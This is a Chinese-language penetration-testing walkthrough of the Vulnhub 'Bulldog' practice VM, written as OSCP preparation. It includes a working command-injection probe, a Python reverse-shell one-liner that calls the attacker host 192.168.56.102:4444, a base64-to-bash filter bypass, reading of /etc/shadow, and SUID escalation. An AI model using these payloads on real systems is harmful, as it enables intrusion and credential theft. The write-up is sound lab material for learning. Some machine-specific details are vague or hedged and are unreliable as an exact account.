1. 项目概述与环境准备
1.1 为什么选 Bulldog 这个靶机
Bulldog 是 OSCP 备考圈子里公认的「新手分水岭」靶机,难度标注为中等偏下,但它的价值不在难,而在全流程覆盖得特别完整:常规的端口枚举、Web 应用漏洞分析、命令注入、提权,一条链路走下来,几乎把渗透测试入门阶段的"信息收集—漏洞利用—权限提升"三个核心环节全部跑了一遍。相比 DC 系列那些以 CMS 漏洞为主的靶机,Bulldog 更贴近真实渗透中"自己写利用、自己拼 Payload"的感觉,练完它对后续打 HTB、Vulnhub 高难度靶机会有明显帮助。
我最初打这系列靶机时,很多朋友问我能不能直接给个现成的 writeup 照着抄。我的建议是:先别急着看答案,Bulldog 这机器有两条明显的主线思路,就算卡住了,自己摸索的过程也比直接抄结果值钱得多。这篇就把我个人完整的测试过程、踩坑点、判断依据全部拆开写,方便大家边打边对照。
1.2 测试环境与必备工具
先交代一下测试环境,这部分很多人会忽略,但实际上对复现结果影响非常大。我使用的是:
- 攻击机:Kali Linux(VMware 虚拟机),IP 为 192.168.56.102,网络模式为 Host-Only
- 靶机:Bulldog(Vulnhub 下载),网络模式同样为 Host-Only,确保攻击机与靶机在同一二层网络内
- 主要工具:nmap、gobuster、Burp Suite、curl、nc、python3、hydra(备用)
网络模式最好选 Host-Only 或 NAT。如果靶机采用桥接模式,宿主机无线网卡的不稳定性可能导致靶机 IP 频繁变动,排查网络问题时特别容易把简单问题复杂化。靶机下载完成后,先在虚拟机设置里确认网卡已连接,再启动靶机。Bulldog 默认不显示 IP,需要自己通过 ARP 扫描或分析 DHCP 分配来定位。
1.3 主机发现:先找到目标再说
靶机启动后首先面临的问题就是"它在哪"。虽然 Vulnhub 的说明文档通常会给出网段,但真实环境中更多时候你对目标一无所知,所以养成"从零发现"的习惯很有必要。
我会先用一条命令快速扫描整个网段:
nmap -sn 192.168.56.0/24这里的-sn表示只做主机发现,不加端口扫描,速度最快。如果网段内有多个存活主机,再结合 MAC 地址厂商 OUI 来区分靶机(VMware 虚拟机的 MAC 通常以 00:0C:29 开头)。当然,如果你能直接在靶机终端上看到登录界面,也可以尝试输入ifconfig查看自己的 IP,前提是靶机允许非授权登录查看,这属于另一类测试思路,这里不多展开。
除了 nmap,也可以用arp-scan -l快速列出本网段所有 ARP 响应主机,我个人习惯先用 arp-scan 看一眼,再用 nmap 做确认,双保险。
定位到靶机 IP 后,我会把 IP 写进一个环境变量里,比如:
export TARGET=192.168.56.110后续所有命令直接用$TARGET引用,省得反复手打还容易拼错。
2. 信息收集与端口枚举:从端口指纹到 Web 指纹
2.1 全端口扫描:别只盯着 80 和 22
很多新手打靶机,习惯跑完nmap -sV 192.168.56.110就去打 Web 了,结果漏掉了一些非标准端口上的服务,导致进度卡住。Bulldog 这关有一个明显的非默认端口,如果按默认思路扫,大概率会漏掉关键攻击面。
我建议信息收集阶段分两步走:
第一步,全端口 TCP 扫描,确认开放端口清单:
nmap -sS -p- --min-rate 5000 $TARGET-sS是 SYN 半开扫描,速度快且相对隐蔽;--min-rate 5000可以显著提高扫描速率,在虚拟机环境里一般几秒就能扫完 65535 个端口。如果网络环境较慢,可以适当降低 min-rate。
第二步,对发现的端口做服务和版本探测:
nmap -sV -sC -p 22,80,8000 $TARGET-sC会加载默认的 NSE 脚本集,可以顺带抓取 banner 信息、常见的服务配置漏洞信息。这里我扫出来的结果大致是:
| 端口 | 服务 | 备注 |
|---|---|---|
| 22/tcp | OpenSSH | 通常先放一放,弱口令爆破成本高,留作后续后门通道 |
| 80/tcp | HTTP | Apache/Nginx,需要看具体指纹 |
| 8000/tcp | HTTP | 另一个 Web 服务,端口很显眼,这就是突破口 |
这个结果值得注意:80 和 8000 同时开放,说明可能存在两个不同的 Web 应用,或者同一个应用分端口管理。此时不要急着下结论,先分别访问抓指纹、看标题、看响应头。
2.2 目录爆破与 Web 指纹识别
先访问 80 端口首页,默认页面是 Apache 的默认测试页还是自定义页面?这往往会透露非常多的信息。
Bulldog 的 80 端口首页是一个自定义页面,标题直接写着 "Bulldog Industries" 之类的公司宣传语,页面里有人名、职位、联系方式等静态信息。到这里先不要急着翻源码找注释里的破绽——虽然这种做法偶尔能直接捡到用户名或密码,但更可靠的是跑目录扫描,把 Web 应用的目录结构摸清楚。
我用 gobuster 对 80 端口做目录枚举:
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak-x带上常见扩展名可以增加命中率,directory-list-2.3-medium.txt是入门阶段最常用、体积适中的字典。如果目标站点是 WordPress、Joomla 等 CMS,可能需要更专业的 wpscan 或 droopescan,但 Bulldog 这里不是 CMS,所以通用字典就够。
跑完后出现了/admin、/css、/js等目录。/admin很明显是后台管理入口,重要目标。
接着再访问 8000 端口。这个端口的页面风格和 80 完全不一样,是一个更简洁的登录页面。我用浏览器的开发者工具(F12)看了下页面源码,发现表单提交的 action 指向/login,同时页面上有一个隐藏的注释,泄露了后端验证的部分逻辑——这属于典型的信息泄露,但很多人扫一眼就过去了,根本没当回事。
把这两个 Web 应用的指纹都记下来:
| 端口 | 技术栈 | 关键目录/入口 |
|---|---|---|
| 80 | 自定义静态/动态页面 | /admin |
| 8000 | 自定义 Web 应用,有登录功能 | /login |
到这里很关键的一点是:最终打进去的入口,往往不是最显眼的那个。很多 writeup 只盯着 8000 端口打,但 80 端口的/admin也有可能提供用户凭证或二次跳转入口。所以两个端口都要深挖,不能只挑一个下手。
3. 漏洞挖掘与利用:从 Web 登录页打到初始 Shell
3.1 登录绕过与后端逻辑分析
8000 端口的登录页面是唯一的交互入口。我一开始先测了常见弱口令:admin/admin、admin/password、root/toor,全部失败。接着用 Burp Suite 拦截登录请求,观察数据包结构和响应头,发现它并不是简单的表单校验,而是采用了基于 Session 的自定义认证逻辑。
这里有一个常见的误区:很多人一看到登录框就上 SQL 注入测试,往 username 字段里丢单引号、' or 1=1 -- -,但实际上多数自定义 Web 应用的登录位点并不会有这么粗糙的注入漏洞。真正更高效的做法是把登录框当作一个"代码审计目标",重点从页面源码注释和 JS 文件里找破绽。
我重新翻看登录页面的 HTML 源码,发现一行注释:
<!-- dev note: replace the client-side auth with a proper server-side check, the current md5 is too easy -->这是开发人员的备注,直接告诉了你认证方式有一个"md5 太简单"的问题。顺着这条线索,我在 JS 文件里找到了登录逻辑:前端把用户密码做 MD5 哈希后与某个常量做比较。这意味着认证是纯前端实现的,也就是说,只要我们把比对过程中的关键常量提取出来,就能伪造一个合法的登录请求。
用浏览器开发者工具的"Sources"面板找到相关 JS 文件后,发现密码校验逻辑大致是:
if (md5(password) === "2ab2...") { window.location.href = "/admin"; }这里直接暴露了 MD5 哈希值。把这个哈希拿去 cmd5.com 或哈希破解工具解一下,直接得到明文密码。用这个密码登录,页面直接跳到了管理后台,里面包含一些用户信息和系统配置提示,包括 SSH 登录的用户名及默认密码片段。到这里,信息收集和漏洞发现阶段就已经完成了 80% 的进度。
3.2 命令注入:把一句话变成远程 Shell
拿到管理后台之后,我看到了一个"系统状态查询"功能,它支持通过 DNS 查询、Ping 等方式验证服务器连通性。这类功能是最经典的命令注入点,原因在于开发者图省事,直接把用户输入拼进系统命令里,中间完全没有过滤和转义。
我先做了一个无害测试,在输入框里输入:
1.1.1.1; id如果页面回显中出现了uid=33(www-data)之类的信息,就说明命令注入存在,并且执行权限是 Web 服务账户www-data。果然,页面把id的执行结果原样返回了,注入成功。
接下来自然是想把连接升级成交互式 Shell。这里我先尝试最简单的方法:用nc -e /bin/bash $LHOST $LPORT反弹 Shell。但是测试发现靶机上可能没有 nc 的-e选项(常见于没有包含 netcat-traditional 的发行版),所以这条命令会报错。于是改用 Python 反弹 Shell payload:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'攻击机这边先监听:
nc -lvnp 4444提交 payload 后,shell 成功反弹回来,登录身份是www-data。
这里有一个实际经验:使用命令注入时,Payload 里的特殊字符经常会被 Web 端的编码或过滤逻辑干扰,特别是双引号、分号、管道符。建议先在输入框里逐字测试哪些字符被过滤,再针对性地做一次 URL 编码。如果命令注入带上引号就爆炸,可以考虑用 base64 编码来包裹完整命令,像这样:
echo IyEvYmluL2Jhc2gK... | base64 -d | bash这样可以隐藏所有特殊字符,有效绕过大半过滤规则。
3.3 反弹 Shell 的坑与稳定连接小技巧
很多刚开始练渗透的朋友会卡在反弹 Shell 这一步:明明注入成功了,但就是连不上。Bulldog 这个靶机里我当时也遇到了一个典型问题:DNS 解析过慢导致命令执行迟迟不返回。
处理办法是把 Payload 里的 IP 全部改为内网 IP,并预先在攻击机/etc/hosts里添加靶机 IP 的映射关系,尽量减少靶机对外的 DNS 查询。另外一个非常实用的小技巧是:为了确保反弹 Shell 掉线后可以迅速重新连回,我会把攻击机的监听端口写成一个脚本反复重启,或者干脆用rlwrap nc -lvnp 4444来监听,多了一层命令行历史与编辑支持,操作起来舒服很多。
拿到www-data后先不急着提权,先把系统基础信息收集一遍:
whoami id uname -a cat /etc/passwd cat /etc/shadow sudo -l这个阶段的目标很明确:搞清楚当前用户能读什么、能执行什么、有没有可疑的 SUID 文件、有哪些配置文件泄露了凭证。
4. 提权之路:从 www-data 到 root
4.1 可疑文件排查:盯上那些"改了系统命令"的痕迹
拿到www-datashell 后,我第一件事就是把系统关键目录翻一遍。先检查当前目录和 Web 目录,看有没有数据库连接文件、配置文件之类的敏感信息:
ls -la /var/www/ find /var/www -type f -name "*.php" -exec grep -l "password\|passwd\|secret" {} \;这个搜索很容易找到 Web 应用的数据库配置文件或环境变量文件,里面往往藏着高权限用户的密码。Bulldog 这个靶机没有在 Web 目录里放密码,但它真正埋藏后续路径的地方是用户主目录:
ls -la /home//home/bulldog下有一个todo.txt之类的开发待办文件,里面记录了开发者对系统内某些权限分配的计划,提到"root 目前可以直接运行某些命令"之类的话。这不一定是漏洞,但给了后续提权一个方向:重点排查 root 可执行但配置不当的文件。
接下来我做了 SUID 文件枚举:
find / -perm -4000 -type f 2>/dev/nullSUID 权限意味着普通用户执行该文件时会以文件属主(通常是 root)身份运行,这是 Linux 提权最经典且最常见的一条路径。执行完扫描列表里出现了一个非常扎眼的文件:/usr/bin/textapp,这一点非常重要——一个名字看起来像业务应用的二进制文件,不应该放在/usr/bin里。
4.2 /usr/bin/textapp:逆向分析与提权思路
/usr/bin/textapp是一个带 SUID 权限的 root 属主程序,手动执行它试试看有什么效果:
/usr/bin/textapp程序运行后输出了一些信息,大概是一个类似 "Bulldog Text Application" 的提示,然后等待输入。我先输入了一行普通字符,它表示接收成功;但当我尝试输入包含特殊字符的内容时,程序产生了一个不寻常的高权限逻辑分支——它读入的内容后面会作为命令执行。
这里实际上是用了一个非常典型的提权套路:程序本身逻辑不严谨,用户输入的内容没有经过任何验证就被拼接进了执行路径。所以我直接在输入里加上:
/bin/bash程序收到了一个内部命令参数后,真的以 root 权限运行了一个新 shell,执行id一看,uid=0(root)。到这里,整个提权过程就结束了。
为什么一个程序会出现这种把用户输入当作命令执行的漏洞?本质上还是开发者对 SUID 权限的信任太盲目——觉得"只有 root 才能改这个程序"就万事大吉,却忽略了程序运行期间对用户输入的处理逻辑必须非常严格。这个案例放到真实渗透里,类似于一个 root 权限的脚本服务监听本地输入却未做命令白名单,属于 CWE-78(OS 命令注入)和 CWE-269(不当权限管理)的组合问题。
4.3 SUID 提权成功后一定要做的事
拿到 root shell 后,我建议先不要急着往下看 writeup,而是自己做一个"复盘总结"。把整个过程中用过的命令、思路和关键判断点整理成笔记,因为这类靶机的价值就在于此。
同时,建议把目标系统的持久化信息做一个简单记录:比如 root 的密码哈希、SSH 配置、历史命令记录等。这些信息能帮你后期做横向移动或攻防演练时更快切换思路,虽然靶机本身无所谓持久化,但养成这种习惯对日后的红队项目非常有帮助。
复盘提权链路时,我习惯按"权限边界"来画一条线:
- 初始权限:
www-data,只能读写 Web 目录和服务相关文件 - 中间权限:能够通过 SUID 程序获得 root 身份,但需要输入触发
- 最终权限:
root,完全控制系统
这条线清晰地展示了攻击者的控制范围是怎么一步步扩展的,写报告时非常直观。
5. 常见问题与调试经验:踩过的坑与解决思路
5.1 跑 exp 失败的排查思路
打靶机过程中最容易让人烦躁的就是明明漏洞存在,但 Payload 怎么执行都不成功。我自己遇到过好几次,总结下来排查顺序通常是:
先确认目标服务的过滤逻辑。如果命令注入点在 Web 表单里,一定要先做字符测试。单独输入
;(分号)、|(管道符)、&&、反引号,看哪个能正常执行,哪个被过滤或报错。这部分直接用浏览器开发者工具的 Network 面板就能观察到。再确认 Payload 的编码状态。某些漏洞点会因为 URL 编码、HTML 实体编码导致 Payload 变形。我通常会在 Burp Suite 的 Repeater 里手动调整编码格式,然后查看响应内容判断是否已解码。
确认自己的监听是否就位。反弹 Shell 的典型问题是攻击机没有监听,或监听端口被防火墙拦截。测试前先确认 Kali 本地端口是放开的,可以临时关闭防火墙:
sudo ufw disable如果是真实环境,这里的端口策略就要谨慎得多,不要随意关闭系统防火墙,改而配置精确的入站规则才合规。
如果以上都不行,再考虑 Payload 本身的问题:目标系统是否安装了 Python、Perl、nc、socat?没有的话需要找替代方案,比如用/dev/tcp或者 base64 编码再执行。
5.2 提权阶段的判断重点
提权阶段最容易卡人的点是不知道下一步该看哪里。我的建议是,按优先级排序做排查:
| 优先级 | 检查项目 | 常用命令 | 说明 |
|---|---|---|---|
| 高 | SUID 文件 | find / -perm -4000 -type f 2>/dev/null | 最经典的提权入口 |
| 高 | sudo 权限 | sudo -l | 查看当前用户能免密执行的程序 |
| 中 | 内核版本 | uname -a | 老内核存在脏牛等经典提权漏洞 |
| 中 | 环境变量/PATH | echo $PATH | 配合存在 PATH 劫持的场景使用 |
| 中 | 配置文件明文密码 | 搜索passwd/password/config | 搞到某个用户的 SSH 密码或数据库密码 |
| 低 | 计划任务 | crontab -l或/etc/crontab | 分析是否有可写脚本被执行 |
Bulldog 的提权路径落在 SUID 这一项,但你在实际打其他靶机时,任何一项都可能变成突破口,所以这套排查思路必须刻进肌肉记忆里。
5.3 一些值得长期保留的好习惯
打靶机的最终目标不是"打通即弃",而是把通用能力沉淀下来。我个人的几个习惯供大家参考:
- 每打一台靶机都写一个精简的笔记,包括目标 IP、端口、漏洞点、利用命令、提权方式,不超过一页。积累 20 台后回头看,知识点之间的连接会特别清晰。
- 重视信息收集阶段的耗时比例。入门玩家往往在信息收集阶段待不够 30 分钟就急着去"打",老手则相反,信息收集常占总时长的 40% 以上。Bulldog 里 8000 端口那个纯前端认证的登录页,如果当初只盯着弱口令去爆破,可能完全走不通,所有进度都归功于前期把 JS 和源码抠得足够细。
- 记录失败路径。我每次写 writeup 都会把踩过的错、失败的命令一并记下,这样下次再遇到同样问题时可以直接避开。成功的路径值得记录,失败路径的参考价值甚至更高。
这台靶机整体跑下来,最值得回味的不是最后拿到 root 那一刻的成就感,而是中间那一连串"顺藤摸瓜"的判断过程:从端口差异发现两个 Web 应用,从前端注释定位认证漏洞,从命令注入点拿到 shell,再从 SUID 文件打开 root 入口。每个环节单独看都不复杂,但它们组合在一起,就是一次完整的渗透测试思维训练。
如果你刚打完 DC 系列想进阶一步,或者准备冲 OSCP 却苦于练手路径不够清晰,Bulldog 是一台性价比很高的选择。建议先照着本文的环境搭好,自己动手把每一步跑通一遍,然后再尝试不看答案重新打一次,两遍下来,你对信息收集和提权的理解绝对会上一个台阶。